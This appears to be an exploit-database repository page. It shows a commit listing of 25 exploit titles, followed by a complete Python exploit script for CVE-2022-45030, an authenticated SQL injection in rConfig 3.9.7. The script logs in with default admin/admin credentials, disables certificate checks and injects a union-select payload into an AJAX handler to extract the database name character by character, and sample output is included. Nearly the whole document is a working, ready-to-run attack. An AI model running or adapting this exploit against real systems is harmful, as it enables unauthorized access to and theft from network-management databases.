9b56e8731e
25 changes to exploits/shellcodes/ghdb EQ Enterprise management system v2.2.0 - SQL Injection qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS) ASKEY RTF3505VW-N1 - Privilege Escalation Bangresto 1.0 - SQL Injection Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated) Cacti v1.2.22 - Remote Command Execution (RCE) Judging Management System v1.0 - Authentication Bypass Judging Management System v1.0 - Remote Code Execution (RCE) rconfig 3.9.7 - Sql Injection (Authenticated) Senayan Library Management System v9.0.0 - SQL Injection Spitfire CMS 1.0.475 - PHP Object Injection Textpattern 4.8.8 - Remote Code Execution (RCE) (Authenticated) WooCommerce v7.1.0 - Remote Code Execution(RCE) CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Denial Of Service (DoS) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authorization Bypass (IDOR) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authentication Bypass SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Cross-Site Request Forgery SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Directory Traversal File Write Exploit SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Remote Command Execution (RCE) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Unauthenticated Factory Reset SOUND4 Server Service 4.1.102 - Local Privilege Escalation macOS/x64 - Execve Null-Free Shellcode
76 lines
No EOL
2.4 KiB
Python
Executable file
76 lines
No EOL
2.4 KiB
Python
Executable file
# Exploit Title: rconfig 3.9.7 - Sql Injection (Authenticated)
|
|
# Exploit Author: azhen
|
|
# Date: 10/12/2022
|
|
# Vendor Homepage: https://www.rconfig.com/
|
|
# Software Link: https://www.rconfig.com/
|
|
# Vendor: rConfig
|
|
# Version: <= v3.9.7
|
|
# Tested against Server Host: Linux
|
|
# CVE: CVE-2022-45030
|
|
|
|
import requests
|
|
import sys
|
|
import urllib3
|
|
urllib3.disable_warnings()
|
|
|
|
s = requests.Session()
|
|
|
|
# sys.argv.append("192.168.10.150") #Enter the hostname
|
|
|
|
if len(sys.argv) != 2:
|
|
print("Usage: python3 rconfig_sqli_3.9.7.py <host>")
|
|
sys.exit(1)
|
|
|
|
host=sys.argv[1] #Enter the hostname
|
|
|
|
|
|
def get_data(host):
|
|
print("[+] Get db data...")
|
|
vul_url = "https://"+host+":443/lib/ajaxHandlers/ajaxCompareGetCmdDates.php?deviceId=-1&command='+union+select+concat(1000%2bord(substr({},{},1)),'-1-1')%20--%20"
|
|
|
|
query_exp = "database()"
|
|
result_data = ""
|
|
|
|
for i in range(1, 100):
|
|
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate"}
|
|
res = requests.get(vul_url.format(query_exp, i), cookies=s.cookies,verify=False)
|
|
# print(res.text)
|
|
|
|
a = chr(int(res.text[6:10]) - 1000)
|
|
|
|
if a == '\x00':
|
|
break
|
|
|
|
result_data += a
|
|
|
|
print(result_data)
|
|
|
|
print("[+] Database name: {}".format(result_data))
|
|
|
|
'''
|
|
output:
|
|
[+] Logging in...
|
|
[+] Get db data...
|
|
r
|
|
rc
|
|
rco
|
|
rcon
|
|
rconf
|
|
rconfi
|
|
rconfig
|
|
rconfigd
|
|
rconfigdb
|
|
[+] Database name: rconfigdb
|
|
'''
|
|
|
|
|
|
def login(host):
|
|
print("[+] Logging in...")
|
|
url = "https://"+host+":443/lib/crud/userprocess.php"
|
|
headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://demo.rconfig.com", "Connection": "close", "Referer": "https://demo.rconfig.com/login.php", "Upgrade-Insecure-Requests": "1"}
|
|
|
|
data = {"user": "admin", "pass": "admin", "sublogin": "1"} #Use valid set of credentials default is set to admin/admin
|
|
response=s.post(url, headers=headers, cookies=s.cookies, data=data, verify=False)
|
|
get_data(host)
|
|
|
|
login(host) |